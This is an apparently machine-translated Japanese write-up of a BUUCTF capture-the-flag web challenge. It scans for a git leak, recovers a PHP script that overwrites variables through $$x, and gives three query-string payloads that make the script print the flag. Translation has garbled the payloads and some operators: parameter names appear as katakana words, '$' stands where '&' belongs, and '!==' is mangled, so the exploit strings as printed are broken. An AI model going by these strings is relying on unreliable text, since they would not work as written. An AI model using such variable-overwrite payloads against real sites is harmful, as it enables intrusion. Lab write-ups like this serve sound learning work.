練習範囲:BUUCTF トピック検索:[BJDCTF2020] マークは猫が大好き
対象ドローン起動後のインターフェース
ステップ 1: dirsearch ツールを使用してディレクトリをスキャンし、情報漏洩がないかどうかを確認します。
python dirsearch.py -u http://cee8e5a5-0b3c-4f0c-a6ef-eed29719e632.node4.buuoj.cn:81/
結論Git リークがあるため、GitHack というツールを使用して情報を取得し、index.php を取得します
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
#变量为yds,is,handsome
#yds=dog,is=cat,handsome=yds
foreach($_POST as $x => $y){ #foreach进行循坏,遍历POST,将数组中的值赋值给$y
$$x = $y;
}
foreach($_GET as $x => $y){ #foreach进行循坏,遍历GET,将数组中的值赋值给$y
$$x = $$y;
}
#满足以下几个条件
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){#不能同时flag的值等于某个键名,那个键又是flag
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){ #不能同时GET和POST都设置flag
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ #任意都能满足flag==='flag'
exit($is);
}
echo "the flag is: ".$flag;
(1) exit()関数
exit関数の機能は、メッセージを出力して現在のスクリプトを終了することです。テキストに ?> で終わる複数のスクリプトが含まれている場合、exit は現在のスクリプトを終了します。exit() 関数にはブレークスルー ポイントがあります。
(2) foreach関数
foreach() 関数には変数カバレッジがあります。
解法1:$handsome
変数 $handsome は最初の if ステートメントで出力され、条件 $_GET['flag'] == = $x && $x !=== 'flag' を満たします。これは次のように構成されます。
?ハンサム=フラッグ&フラッグ=b&b=フラッグ
?ハンサム=フラッグ&フラッグ=ハンサム
解決策 2: $yds
2 番目の if ステートメントの $yds 変数出力については、変数カバレージを通じて $yds=$flag の効果を実現する必要があります。GET はパラメーター yds=flag を渡します。2 番目の foreach ステートメントでは、最初に$x=yds, $y =flag、 $$x = $$y の後は、次のように $yds=$flag になります。
/?yds=フラグ
解決策 3: $is
3番目のif文で変数 $is が出力されており、判定条件は$_POST['flag'] === 'flag' || $_GET['flag'] === 'flag' を満たすことができます。後者の条件を満たすことによって変数カバレッジを実行する: GET は 2 番目の foreach ステートメントでパラメータ is=flag&flag=flag; を渡し、最初に $x=is, $y=flag が取り込まれると、 $is=$flag となり、カバレッジが達成されます。目的は、パラメータ内の flag=flag は、単に if ステートメントを満たすことです。
/?is=フラグ$フラグ=フラグ